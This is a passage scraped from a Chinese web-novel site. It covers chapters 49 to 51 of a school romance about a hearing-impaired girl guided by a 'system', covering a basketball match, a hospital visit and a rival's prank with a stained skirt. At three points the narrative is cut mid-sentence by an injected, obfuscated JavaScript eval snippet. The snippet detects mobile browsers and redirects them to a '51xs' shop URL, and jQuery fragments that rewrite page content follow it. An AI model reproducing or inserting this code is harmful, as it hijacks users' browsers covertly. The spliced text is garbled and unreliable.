……其实比赛也没什么好看的。 他默默回到赛场,捡起篮球。 李闻蝉:“…………啧。” 他瞟了眼时间,趁还没开始,将篮球泄了力弹到地上,抬脚向出口的方向走。 沈星桥刚听教练开完会,微笑着走来,挡在他面前。 “打的真好。” 李闻蝉冷淡地瞥了他一眼,没说话。 沈星桥的笑容分毫不减,跟着他走,压低声音:“你今天怎么这么认真?” 他笑得惬意又得体,不管旁边的人面色有多难看,还有空和来送水的池鲤鲤温和地打个招呼。 李闻蝉不耐地轻啧,又迈了一步,沈星桥的声音就轻缓地飘过来。 “因为池映雪。” 他似是很确信。 “你也在意她?” 李闻蝉走远两步,神色难辨地回头,极小声道:“你最好知道自己在说什么。” “沈星桥,我第一次听到你和池鲤鲤传言的时候就觉得特别般配。” 李闻蝉语调慵懒,长眸微眯,“你俩都特别假,尤其是你。” “不可否认,你这种假模假样真的很招人喜欢吧。”他微不可察地低笑一声,不见喜悦,“能把假面戴成这样,让谁都感觉如沐春风,你也有你的长处。” “但你要温柔,就一直温柔下去。” 李闻蝉话锋一转,气息间似乎点燃火药,无声溅射出危险的气息。 他口吻警告。 “别连交友这种事都要虚情假意,再伤害谁的真心。” 沈星桥温和的表情变淡,不仔细看几乎看不出来。 他很快笑道:“当然。不过李闻蝉同学,‘如沐春风’不是这么用的。” 李闻蝉:“……”靠。 这些成绩好的家伙好气人。 他把背诵册子和语基大全全锁柜子里了,不行? 暂停时间在此刻结束。 比赛继续,一班的打法显然在调整后很吃香。 依旧重点包围李闻蝉,在此基础上多了个胡挚。众所周知李闻蝉习惯单打独斗,要传球也只会传给默契度满分、篮下水平不错的胡挚,完全不会传给其他人。 一是他自身实力过硬,性格又独来独往;二是五班其余球员大部分时候确实拉胯,传了也白传。 池映雪匆匆跑回来时,一班已经追回了一些分数。 她将装有橘子汁的冰杯放下,两只手在背后紧张相握。 她们负责后勤和近场加油的小队伍就在场边的长凳上,运动员中场休息也在这里,距离球场很近。 好几次李闻蝉在关键时刻被拦堵,周围的人无一不尖叫加油。 池映雪几乎快忍不住抵着哑痛发出声来,然而很快就被淹没,没人能听见,更不必说球场中心,她加油的对象。 池映雪又想让好感加回去了。幸好,他每次都化险为夷。 又一次,沈星桥带头围堵李闻蝉。 池映雪踮起脚往前凑,注意不碰到白线。 紧张的氛围中,不知道是不是错觉,李闻蝉突然与她对视。 耳边似乎还响起一声带着悔意的轻啧。 咚! “喔——一班!沈神!!” 白热化的战场周围,声浪骤然放大。 沈星桥的围堵终于成功,传球给同班球员。 球员嘚瑟地冲胡挚吹了个口哨,拍着球往前俯冲。 结果喜极而泣,没及时看见追上来的李闻蝉。 等到黑影压过来,沈星桥在后面提醒,他才瞳孔地震:“我去!” 但他不愿乖乖让球,又自知抢不过李闻蝉,干脆闭眼往斜前方一抛。 球速度极快,迅猛地飞向池映雪所在的方向。 左右都是人,旁边的几个人来不及反应,池映雪下意识向后退,被凳子绊住,向后坐下。 头顶旋转的影子愈发迫近,她慌忙双手捂住头,俯下身。 砰——! 意料之外的声音。 意料之外没有落下的疼痛。 池映雪缓缓抬头。 李闻蝉和沈星桥都摔倒在她面前的地面。 篮球在棕黄色反着灯光的地上弹起又落下,脱离了那只依稀可见红痕的手臂,逐渐没了声响。 听他与匆匆赶来的胡挚对话,应该是二人一起冲过来拦住飞向她的篮球,不小心撞上了。 下半场刚好结束,五班获胜,此起彼伏的欢呼声间,后勤和替补跑过来搀扶。 李闻蝉看起来没什么事,对同学们摆了摆手,自己撑着地面站起。 旁边的沈星桥就没有那么轻松,裸露在外的小腿应是在撞击时不小心磕到,很明显的肿起来。 池映雪把李闻蝉点名要的冰橘子汽水递过去,趁他抬头没注意,仔细检查他的身体。 还好除了手臂微红,其余地方还是一如既往的白,细小的汗淌出,反而有股和衣物香氛混合的淡香。 她鼻尖耸了耸,不自在地移开眼,当即便与还在地上的沈星桥对视。 几个男生围着他,手持云南白药喷雾,沈星桥膝盖弯曲,向来处变不惊的温和面庞皱起,很疼的样子。 察觉到池映雪的目光,他笑了笑,微喘气,做口型道:没事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635269|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 池映雪:这不是她让他漏油的缘故吧? 池映雪心虚地抓了两下肩头的侧麻花辫,左右环顾,取了瓶多余的矿泉水送过去。 沈星桥接过水和队友递来的手机,用口型说了谢谢,回了几条消息后将屏幕对准池映雪。 「可惜你为我加的油。」 池映雪无法直视他,胡乱点头。 沈星桥盯了她一会,像在确认什么,转而打字道:「我可能被撞伤得有些严重,你能不能陪我一起去校医院看看?」 池映雪疑惑地看了他一眼。 池鲤鲤她们不是去帮他联系医院了吗? 听万苏瑶说,池鲤鲤刚才担心的都哭了,非要让一家知名私立医院派车过来带他去拍片子。 沈星桥没同意,但也没拒绝呀。 池映雪也觉得还是去大医院看看比较好,还没接过手机,就听见身后有道清冽的声音,恶声恶气。 “娇气。” “跟第一次打篮球似的,装模作样。” 李闻蝉居然已经把一大杯汽水喝完了,大手用力拧着塑料杯。 干涸的杯子被蹂躏为很惨烈的形状,挤着里面的冰块,咯吱咯吱,响声清泠。 “谁没受点伤啊。” 两个长凳之外,一班男生的关怀声依旧很大,其中插着一个安静纤瘦的背影。 李闻蝉将杯子投进一旁用来收垃圾的纸箱,拎起雪白的毛巾。 “虎子,走了。” “喔——” 胡挚放下水,肩侧忽然有一道小小的身影如流星般滑过,带来一阵风。 李闻蝉已经走到休息区后,看台底通往更衣室的墙下。 池映雪好不容易才追上他,刚用力抓住他的球衣下摆,就被转身甩开。 “你小子拽什……” 戛然而止。 池映雪甩了甩手掌,抬眼和李闻蝉对视,在那双深黑色眸里看见了意外和尴尬。 池映雪没拿手机,用手指在空中比划,先指他的腹部和腿,又蹙眉撇嘴,歪了歪头。 你没事吧? 她刚才的确第一时间看过他没有外伤,可想来也是,沈星桥看起来挺严重,根据牛顿第三定律,李闻蝉不会毫发无损。 李闻蝉:“………” 李闻蝉手举着毛巾擦下半张脸,把唇部挡得严严实实,对池映雪摇头。 池映雪目光怀疑,往前上了一步。 “!!” 李闻蝉下意识向后退,头猝不及防地靠在墙上。 天时地利人和,池映雪眼睛一亮,伸手就撑住他肩膀旁边的墙面。 相隔一条垂落的白色毛巾,浅蓝色电子屏闪现。 [叮!“壁咚他!”任务完成,更新为:“和他共撑一把伞”。] 池映雪没忘记初衷,确认任务完成后就立马近距离检查李闻蝉。 白净的下巴。 有力量感的脖颈。 精致锁骨上挂着一颗汗珠,在她目光所及时正好向下流淌。 刚才挡篮球的小臂,好在红痕只剩很淡的一点点。 泛粉红的膝盖,线条流畅、有骨骼感的冷白色小腿…… 李闻蝉不知是呆了还是怎么,居然就这样放任她的视线。 池映雪甚至踮起脚看向他的后脑勺,还是没发现哪里有瘀伤。 她冷静下来,突然反应他们距离太近了。 雪色的毛巾后,柑橘香气扑鼻。 风把毛巾的角吹起来,和侧麻花辫底部翘起的发尾虚虚相贴。 心跳声,怦怦然,震耳欲聋。 她又听不见自己的声音,所以。 池映雪仰起脸,两道视线撞在一起。 [叮!攻略对象好感+5。] [警告!攻略对象好感-2。] [当前男主好感:40。] 李闻蝉的毛巾还捂在下半张脸,如果池映雪能开口说话,一定会提醒他可能是闷到了口鼻,不通气。 毕竟上半张脸尤其是眼睑部分在持续升温涨红,一直扩散到耳根。 那只抓着毛巾的大手,关节处粉色也不断加深。 池映雪扫了眼黑色的护腕,灵光一闪。 对哦,这个下面还没检查过,万一有扭伤呢? 她抬起手,李闻蝉像能预判她的动作一样,突然从怔愣里活过来,举手到头顶。 他眼神乱飘,往远离她的墙下挪了一小步:“真有你的。” “喏。” 李闻蝉把有护腕那只手背在身后,单手飞快掀起球衣和黑T,“伤。给你看行了吧。” 结实有力、沟壑分明。 短短一撩一放间,清健雪白的腹肌左下部分能见一块很明显的撞痕。 池映雪的眉深深皱起,倒吸一口凉气,听他自言自语:“有什么好看的,非要看,看完又要害怕。” 李闻蝉说完就把毛巾盖在头上,大步走向更衣室。 池映雪目送他背影消失,拍了拍脸。 为什么感觉他刚才的声音……有点委屈? 过了大概二十分钟,李闻蝉和胡挚从更衣室走出来,已经换上崭新干净的衣服。 李闻蝉低头走路,甩了甩还淌着水珠的头发,停下脚步。 “蝉哥?” 胡挚比他先洗完澡,等待的时候开了局游戏,边走边玩,“咋了?” “……没。” 穿着整齐全套校服的女孩垂着脑袋坐在长凳上,头顶的发箍松了些,“5”形公仔很小幅度摇晃。 手里不知道抱着什么,像睡着了。 李闻蝉收回视线,继续往前走。 等走到场馆门口,胡挚头也不抬地跨过门槛,用身子掀帘。李闻蝉站在门内,萧萧秋风拂面。 “虎子,你先回。” “哦。” “啊?那你呢?” 胡挚这才回了下头,只看见垂下又摇晃的门帘缝隙里李闻蝉匆匆离去的背影。 好困…… 池映雪的脑袋一点一点,直到被一个冰冰凉凉的东西托住。 一睁眼,黑乎乎的手机屏幕近在眼前。 池映雪:!!! [叮!攻略对象好感+1。] 李闻蝉! 他什么时候出来的?池映雪向后仰,抬起眼看他,迷迷糊糊地吸了吸鼻子。 发箍的“5”被手指轻轻弹了两下,头顶上方那张脸挂上顽劣的笑。 “今天倒是知道护住自己脑袋了。” “有点长进。” 50. 第 50 章 池映雪霎时想到他们的第一次见面。 她为了和这位男主角迅速拉近距离,设计自己被他的篮球砸到,虽然效果并不怎么样。 那时候也真是不怕疼,不怕伤着自己,现在想起来,都有些后怕。 池映雪抿抿唇,弯眉挑起,把怀里的云南白药喷雾和冰袋举起来。 [叮!攻略对象好感+8。] [当前男主好感:49。] 李闻蝉喉结滚动,嘴角抑制不住地上扬,然后迅速在她身旁坐下,身子微微后靠。 他压下唇角,掏出手机。 「算你有良心。」 李闻蝉:「但我真没事,区区小伤。」 李闻蝉:「这叫男人的勋章。」 池映雪:………… 李闻蝉把玩着手机,嘴里哼着歌,还是之前那一首。 池映雪趁其不备,扭过头,伸出一根手指对准他的左侧腰腹。 戳! 一声长长的痛嘶响起。 李闻蝉脸色发白,揉着通红的耳根,凶巴巴地瞪过来。 池映雪不为所动。 勋章? 就这? 她不由分说地掀开他的衣服,往上面喷药,又把冰袋压上去。 精硕的细腰轻轻颤抖,池映雪哼气,放柔了力道。 李闻蝉的左手摸完耳朵摸鼻尖,在空气里僵硬地上下移动,最后缓缓搭在她后面的凳子边上。 手掌逐渐用力,食指有一下没一下地轻点。 池映雪专心冰敷,视野内闯进来一个屏幕。 「其他人呢?」 池映雪接过来打字:「她们先回去了。」 瑶瑶和秋怡有叫她一起走,不过她留这里有事,就拒绝了。 沈星桥和那几个一班的走得更早,在她说完抱歉去找李闻蝉时就离开。 「哦。」 李闻蝉睫毛半阖,底下的眸忽明忽暗,指尖轻动,短而整齐的指甲在屏幕上点触。 李闻蝉:「你不去照顾沈星桥?」 池映雪不解地望他。 李闻蝉和她对视了又移开视线,咬合腮帮,一个字一个字的打。 「你不是,和他关系挺好吗?」 [警告!攻略对象好感-5。] [当前男主好感:44。] 池映雪心里莫名不太舒服,空空的。 她拿捏不准他的意思,接过手机,过了一会才触上键盘。 空气凝滞,风透过篮球馆二楼打开的明窗吹拂,带来丝丝缕缕的凉。 手机被递回来,李闻蝉没有立马伸手接。 一秒,两秒,池映雪把手机往他眼前凑。 李闻蝉干涩的唇压平成一条直线,垂着睫睨过去。 「你想让我去?」 “想个——” 李闻蝉脱口而出,后面的话被一阵迎面冷风吹回去。 他扭过头,长腿微屈打字:「看你。」 低语背对她响起。 “我说了你就一定会留下来吗,到时候又成我自作多情。” “而且有的人留着,心不知道飞哪去了。” [警告!攻略对象好感-1。] 池映雪叹了口气,忍无可忍地起身,把冰袋塞进他手里。 云南白药的瓶子掉在地上,滚到半米之外。 纤细的影子略过白色药瓶,逐渐在眸中缩小。 李闻蝉弯腰捡起瓶子,仔细地擦拭上面的灰尘,面上笼罩一层灰暗,偏着头拍了拍耳朵。 “为什么……” 长眸中写满茫然无措,耳垂都快搓红。 “听不见呢。” 晚自习后,池怀元开车来接池映雪,去医院看望沈星桥。 池鲤鲤是陪着他去拍片子的,两个人一起请了假,秦书和沈阿姨也在。 系统告诉池映雪,沈星桥倒下时为了不撞到一个女生侧了下身,撞到了凳子脚,幸好没伤到筋骨。 池映雪和池怀元进门的时候,其余人去买水果,VIP病房里只有沈星桥和护士在。 看见池映雪,沈星桥眼睛闪了闪,不着痕迹地放下刚被护士掀起的病服衣角,遮住腰腹部的锥状伤痕。 他和池怀元交谈了几句,池怀元有个单子要谈,出门接电话。 沈星桥拍了拍床边,看向池映雪,露出澄澈的微笑。 池映雪看着他腿上的青痕,还是有点心虚,装作没看见,轻手轻脚地搬来一个凳子,坐在旁边帮他倒热水。 StarBridge:「果然很丑吗?」 池映雪愣住。 「我腿上被撞出来的伤。」 沈星桥的眼皮耷拉下去,柔顺的头发垂在眉间,十分低落。 小雪:「不会啊,你别这么想,你今天打得也挺好的。」 StarBridge:「是吗?」 StarBridge:「也?」 池映雪捋了捋辫子,发尾像小钩子一样翘起来。 一想到那家伙就……她凭什么想他? 小雪:「语气助词,表停顿,舒缓语气,没有别的意思。」 沈星桥勾了勾唇。 「学的真不错。」 他的笑微不可察地变淡了些,「不久就要期中考,你复习的怎么样?」 池映雪放在膝盖的手掌一紧,最后还是选择实话实说:「我还没开始……」 「国庆都在出去玩,准备生日宴会,回来后就是篮球赛,我最近确实蛮懈怠的,你呢?」 沈星桥绽开好看的笑。 「没事,我也没复习。」 「高中还有一年多呢,我觉得我们平时应该像这样多享受课余生活,高三前都可以放开玩,不是吗?」 池映雪一下子就被劝好了,用力点头。 沈星桥的眼神移开,池映雪顺着他的视线回头,在病房门口看见池鲤鲤那张面色阴沉的精致脸庞。 她手里端着一碟洗好的桃子,身边还站着一身黑色、拎着几个书包的邢芷。 池映雪对系统说:“池鲤鲤真的挺喜欢沈星桥啊,她在家里向来十指不沾阳春水的。” 还有今天篮球赛沈星桥倒地后,她是真的一下子就哭了。 [毕竟人家是“小哭包”嘛。] 池映雪:……她好像明白自己为什么当不了女主角了。 系统眨巴眨巴眼睛:[可是宿主,人家觉得沈星桥喜欢的人是你哦。] 池映雪想也不想就摇头:“不会的。真喜欢一个人,不会像他这样事事妥帖。” [那应该是怎样?]系统好奇。 “是——” 池映雪猛地起身,“我,我怎么知道。” 正好人也看过了,池映雪懒得和池鲤鲤对上,和沈星桥告别后出门找池怀元。 池鲤鲤接过邢芷手里沈星桥的书包,吃力地放到床边。 沈星桥温和道:“麻烦你了,多谢。” “你又和我客气。” 池鲤鲤嗔他一眼,犹豫了一下,故作为难,“棉花娃娃,还有那些女生给你送的花……” 沈星桥笑容不减,眼里的温度却低了些。 “确实很麻烦,可这也是大家的鼓励。” 池鲤鲤立马接话:“那还是老样子嘛,我帮你偷偷捐给有需要的人!” 池鲤鲤又对沈星桥嘘寒问暖,他的态度始终温淡。 好一会后,池鲤鲤拉着邢芷,脸蛋红红地出门。 房门关上。 邢芷瞥见池鲤鲤娴熟地发消息安排人丢掉棉花娃娃和花束,对着玻璃反光整理了一下黑色的定制休闲套装,扬唇道:“鲤鲤,我早和你说不要小瞧那个池映雪。” 池鲤鲤脸上红晕散去,拧起眉:“那你说我还能怎样?星桥哥哥说了他们只是朋友,池映雪呢,又终究是个残疾人。” “况且李闻蝉不知道抽什么风,居然为了她警告我,我要是明面上和她过不去,那他——” 邢芷眼神笃信:“你什么时候见过李闻蝉管别人的闲事?那天他只是路过,遇见我们和他们班的人对峙,有正义感罢了。你单独对付池映雪,他肯定不会管的。” 她想起上次听见穆雨阳和同桌的对话,对池鲤鲤耳语,“我有个主意……” 虹文因为校建突出,不论国际部还是本部学费都很昂贵,学生群体除了成绩好,基本上汇聚本市最优渥的家庭。 然而,有李闻蝉胡挚这样家里给学校投资、捐楼的学生,就有穆雨阳那种靠校长奖学金补贴学费的寒门学子。 奖学金一学期发放2~3次,重点参考期中、期末的成绩,前三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635270|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名单独设立,综合排名四到十五、单科第一都有奖金,此外各种知识或大型竞赛另算。 由于在教育界广受认可,即使并非靠奖学金吃饭,学生们也普遍非常重视这份荣誉。 下周末期中考,篮球赛后,班上的氛围逐渐开始紧张。 中午秦书说要带池映雪和池鲤鲤去拜访一位艺术界的旧友,一起在校外用餐,一来一回,正好占据了整个午休时间。 于是早上的课间,池映雪奋笔疾书地写作业。 胡挚刚不耐地扔下笔,回头找李闻蝉打游戏,看到她这样,又默默转过身去把剩下的几道填空写完。 最后一个空填上,他长吁一口气,对李闻蝉打着哈欠道:“受不了了,雪神怎么做到上课学下课接着学的,我都要做吐了。” “难怪万姐和椅子说成绩好的就爱找成绩好的,我等凡人和她们用的完全不是一个脑子。” 李闻蝉把手里的漫画书翻得啪啪作响:“嗯。” “挺好。” 胡挚珍惜地抚摸着漫画书封上11号的英姿,随口问:“诶对了,你最近咋不学了?” “我还是被你带着好好学的呢,结果给我爹整的,骑虎难下。” 李闻蝉合上书,手撑脑袋对准窗户。 窗子开了一条缝,眼前的白天转为记忆里的暗蓝黑色。 上次的这条缝里,透映着两个人肩并肩讨论高深的数学题。 他轻嗤一声。 “世上无难事,只要肯放弃。” [警告!攻略对象好感-1。] [当前男主好感:42。] 在花园般的高级酒店用完午餐,秦书和友人去逛展,两个女生坐上回学校的保姆车。 池鲤鲤先跑到车旁边,一反常态选择靠左的座位。 临下车时,她主动给刚补眠过的池映雪发消息。 chill:「我想了一下,我们和解吧。」 小雪:「?」 chill:「其实我不是非要针对你,我就是害怕我的一切都被你抢走。」 「有的东西,比如妈妈他们的爱,比如沈星桥的喜欢,我没办法接受一点被抢走的可能。但我想如果我们不和,他们也很为难,你说对吗?」 池映雪惊讶地抬了下眉,向左偏头。 池鲤鲤精致貌美的脸蛋侧对着她,表情仍是骄傲的,扇子般的睫毛微颤,面上泛起薄薄的红,手指紧紧捏着手机,似乎在发抖。 池映雪迟疑地敲下键盘。 小雪:「如果你不为难我,我从来没想过做什么。」 池映雪发完消息就率先下车,系统刚午睡醒就经历这一幕,好久都没缓过来。 [宿主,你说她是真心的吗?] 池映雪:“……我也不知道。” “或许是吧,尤其是前半段。” 她的步子有些闷,“但告状,月考,裙子,舞蹈老师,还有沈星桥和原作里的描写……” 池映雪发现自己完全没法轻飘飘地说“没关系,我不介意”,甚至,这些天每次在父母和沈星桥那里“打败”池鲤鲤,她有种隐秘的满足。 “系统。”池映雪迷茫道,“你说我是不是不够大度,不够善良?” 难道真的和小说里阴暗扭曲的对照组一样吗? 系统狂摇头:[不管宿主做什么我都支持!况且,池鲤鲤也没向宿主道歉不是吗?] 池映雪步伐轻快了些。 不知道为什么,这一刻突然很想回到教室。 她一路轻蹙眉头向五班走去,听不见身后的窃窃私语。 推开后门,李闻蝉和胡挚在座位上,又在聊什么游戏。 池映雪视若无物,把手机和小本子放在桌面,去洗手池接水。 这周轮到她擦黑板。 李闻蝉有说有笑的动作生出一个难以捕捉的停顿,在后门的开关声中恢复正常。 余光瞥向只隔着一个过道的桌子。 小小的本子被风吹开,露出花花贴纸,露出那页“不客气:)”。 回过神,胡挚正狐疑地盯着他。 李闻蝉:“……你干嘛?” 胡挚摸摸下巴:“你——” 李闻蝉垂下眼,手上很忙的样子,在抽屉里翻东西。 “你和池映雪闹别扭了?” 51. 第 51 章 李闻蝉的手骤停,抓住空书包的内胆。 “你可别说没有啊!上次过生日你俩还好好的,收假后就不咋说话,整天冷着个脸,要不是和我们聊天都挺正常,我都想带你们去看心理医生了。” 胡挚推了把李闻蝉僵硬的肩,“人家雪神脾气那么好,你怎么惹的她?” 李闻蝉:“……” 他垂睫,很轻笑着:“确实脾气好。” “所以,就像之前给大家讲题一样,不会拒绝别人的期待或邀约,哪怕她并不情愿。” “所以对谁都很好。” 李闻蝉自嘲地勾了勾唇。 他和隔壁班那个冒昧的男生,有什么区别。 胡挚没心没肺地歪着脑袋,完全没懂,好半天撂下一句:“可蝉哥,这就是你不对了。” 胡挚和过来人一样拍胸脯,“不管怎样,惹了人就得及时哄嘛!买点她喜欢吃的喜欢玩的,花呀、手工礼物呀……实在不行让她打你一顿,就好了。” 李闻蝉挑起眉:“你还挺有经验?” 胡挚得意道:“和我爹学的,他天天惹我老妈生气。” “咳咳!” 李闻蝉拿起漫画给脸扇风。 “我和她又不是那种关系。” 他深呼吸,“再说,我之前有时候对她还可以,是因为老爷子亲口盖章我是她小叔,要多帮助。” 语速越来越慢,“除此之外,她和别的人没什么区别。” 胡挚:“你什么时候听你家老爷子的话了?” “……我一直很有孝心啊,爱信不信。” 李闻蝉觉得这个说法太合理,像是把自己都给说服了,耸了耸肩,一派轻松。 “就她刚到班那天,我去花园里带她过来,还不是因为老爷子在前一天晚上给了我她的资料,不然我才不多管闲事好吗?” 咚!! 巨响从讲台的方向传来,把两个男生吓了一跳。 池映雪不知什么时候回来的,走的是前门。 装有冷水的盆子被重重放下,几滴水花溅在整齐的白色校服上。 齐刘海在教室前端的白炽灯光下投着灰色阴影,遮住不分明的眉眼。 李闻蝉喉结微滑,握书的手指尖端泛白,又渐渐放松。 胡挚将信将疑地转回来:“居然发出那么大的动静……” 李闻蝉不自然地闪着睫,没接话。 眼眸一转,定格在池映雪转身用抹布擦黑板的动作。 “靠。” 他腾地一下站起来,椅子都倒下。 教室后侧的柜子被飞快打开,甚至来不及合上,在空中来回弹。 池映雪听见了,鼓起腮,没有回头,任由湿抹布在黑板上留下深墨绿色的水痕。 垂下来的那只手,袖口忽然被扯了一下。 池映雪瘪瘪嘴,眼眯起来,把手插进外套口袋,就是不转头。 “咔擦。” 紧接着耳边响起一声无奈的叹息,一个毛茸茸的脑袋低下,几缕碎发轻挨她雪白的衣服布料。 小腹一紧,温热的气息萦绕。 李闻蝉的双手环绕过她的腰,不由分说地系上带有独特橘子清香的黑色运动外套,对她来说过分宽大,袖子打结后仍然垂到校服裙摆下。 池映雪脸上微烫,下意识后退躲开,李闻蝉恰好抬头。 他举起手机的相册,耳垂看上去比她的脸蛋还要烧,飞红更胜橘海天空的尽处。 只是眸光在凝见她远离的白鞋后,蒙上尘雾。 [警告!攻略对象好感-1。] 眼下的情况不容顾及这个。 照片里俨然是她的背影——洁白的校服裙背后,沾着点点鲜明的红迹。 池映雪瞪大眼。 李闻蝉打字:「回座位,我来擦。」 他想了想,又补充道,「你有卫生巾和换洗衣物吗?」 倒是没什么遮掩和避讳。 池映雪点点头,又摇摇头。 李闻蝉:? 池映雪从他手里抽过手机:「我上周刚完,所以不是。」 难怪,池鲤鲤刚才是那个表现。 还有车上的座位、红色的坐垫。 池映雪磨了磨上下的虎牙。 亏她还……怀疑了自己。 刚才走在楼梯间的时候,擦肩而过的人似乎总是比往日更加留意她,脸上还都带着各色的笑。 她甚至以为那是友好和善意,现在看来,不是嘲笑就万幸了。 她总是什么也听不见、察觉不到,就像原作里舞会上的描写。 池映雪捏起拳。 她扫过刚刚降低的好感值,毫不犹豫地打字:「我大概知道是怎么回事,能自己解决,谢谢你的提醒和衣服。」 李闻蝉对着屏幕恍然凝眸,目光骤然幽深,散发着寒意。 被池映雪看了一眼,恢复了漫不经心的模样。 「举手之劳。」 「衣服不用还了。」 「你能解决就好,我最近也挺忙,没空多管闲事。」 夜晚,池映雪写完作业,躺在床上和系统聊天。 窗台上整齐地叠放着一件黑色的男士运动外套,伙同旁边的蓝绿粉撞色史迪奇,在浅色系的公主风房间里尤其突兀。 “我发现你的男主大人很像一个人。” 系统疑惑:[谁?] 池映雪翻了个身,“像瑶瑶给我推荐的电子榨菜,《xx传》里面那个皇帝。” 系统:[???] 池映雪泄愤般拍了拍将近一半粉一半灰的好感度爱心:“喜怒无常,阴晴不定,谁都揣测不了他起起落落的心情。” 难怪能当气运之子。 这是真龙天子啊。 她摇摇头,把他赶出脑海。 “最近有什么剧情点?” 系统精神抖擞。 [A.小公主在学生投票中打败众人,被评为宣传大使。] [B.小公主终于当选知名校友接待人。] 池映雪想起今天在班群里潜水时看见的话—— “学校要在高二年级选一男一女两位宣传大使,要求外形得体、成绩良好、品行端正,录制官方宣传片。” “如果被选上,还可优先被考虑列为知名校友唐伯霓女士访校时的接待人,大家踊跃报名哦!” [宿主有什么想法?] 池映雪沉吟半晌,反问它:“你觉得我该怎么还击池鲤鲤?” 系统冥思苦想好一会,弱弱道:[还治其人之身?咱们也抢她的裙子,往裙子上泼红墨水?] 它眼睛一亮,[宿主,要不你去勾搭沈星桥吧!池鲤鲤肯定会气死!] 池映雪:“…………” “你认真的?你不是最怕我喜欢上他吗?” 系统扭扭捏捏:[因为我看宿主对他的确是纯纯的学习搭子情,人家相信宿主哒。] 池映雪扶额:“……你说的这两个确实能气到她,但很可能自损八百,就像弄脏裙子我不便告状,她一哭闹就可以。” 沈星桥更是个阴招,他难道是什么工具人吗? “池鲤鲤用抢关注、弄脏裙子以让我丢脸来坑害,不管能不能伤害到我,都暴露了她自己的在意。” 池映雪一边搜索唐女士的资料,一边分析,“要一劳永逸,就要从她目前最在乎的事入手。” 池映雪盯着百科人物里的简介,默念那行简介。 “唐伯霓,女,现居HK,祖籍南城。知名作家、编剧、慈善家……” “诶?” 处女作:《他的小猫咪》。 池映雪:不是吧。 这么巧? 自从吃完鸡柳那天,池润就把之前的司机调给了下级,池映雪没有再被池鲤鲤和新司机抛下过。 这些天来,即使池鲤鲤临时有事,必须要司机单独接送,他们也会安排新的车给池映雪。 所以算下来,她已经很久没进过地铁站了。 这天晚,池映雪提前发过消息,余光留意着右侧的动静,不紧不慢地收拾书包。 待她跟在那道颀长而散漫的背影后走到地铁口,系统还处在震惊中。 [这个世界真的太小了!要不是宿主用已有的400字解锁出剧情,我都想不到那个唐女士居然就是男主大人妈妈的故交!] 剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635271|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里写,池鲤鲤私下热爱言情小说,唐伯霓是她最爱的作者,所以她十分看重这次接待人的身份。 为此不惜花重金拉票,跟班邢芷甚至造谣竞争者,确保池鲤鲤首先能当选校园宣传大使。 而此前,池鲤鲤有想过靠李闻蝉和唐伯霓的关系走后门,可惜李闻蝉对她实在冷淡,她也不敢找他。 跟班倒是找上了李闻蝉,还不止一次,只是没有哪次能说上话的。 梧桐叶的暗影,被一团又一团叶子掩映的路灯衬得更昏沉。 段段影间,池映雪和沉闷的脚步声始终相隔数米。 快走到地铁站的时候,人流显然多了起来。 冷空气缓缓流淌,池映雪加快脚步。 可惜人头攒动,声音如洪水般席卷,流进她耳里很细微,恰好盖住渐渐远去的脚步。 池映雪第一次觉得获得了听力,反而更加不便。 过了安检,熟悉的影子几乎看不见。 挤开人群,跑下楼梯,两边都没有地铁来去,却没在熟悉的位置看到熟悉的身影。 池映雪气喘吁吁,站在李闻蝉要乘的地铁那侧,左顾右盼。 一无所获。 闭目聆听,只剩下久久的寂静。 灵光乍现。 池映雪睁开眼,羽睫微颤。 抬头。 站台顶的护栏冷冰冰,记忆里垂下的面庞不见踪影。 人来人往,像是将两滴雨水分离的海域。 以前的人群中,不管是哪,他好像总能找到她。 所以,果然是她的错觉吗。 眼前的隧道震动,地铁进站,一刹那的轰响再次以同样的方式将微末脚步声淹没。 李闻蝉在站台最末端的垃圾桶边丢完糖纸,含着棒棒糖走进地铁,没来由地朝经常站立的等位区望去一眼。 石灰色的方柱挡住视野。 李闻蝉皱起眉。 老爷子身边的陈秘书恰好来电,他戴上耳机,专心交代事宜。 回到小区,李闻蝉才把耳机摘下,没有一如既往直接上楼,而是和大堂的管家聊天。 管家有些受宠若惊,热情地聊起家常事。 李闻蝉顺势问了几个颇犀利的问题,如愿在他嘴上和心里听见不同的答案。 他的眉挑起,很快地蹙了一瞬,较之地铁上更深。 管家突然想起什么,抱歉道:“蝉少,我今天下午接到干洗店的电话,考虑到当时您在上学就没有及时联系,差点忘记了,真的不好意思。” “是这样,您前些天送来的几套衣物他们已经洗好了,其中那件黑色皮夹克外套,口袋里有一张明信片。 员工帮您收起来了,和衣服放在一起,现在就在您的私人储物间里。” “明信片?” 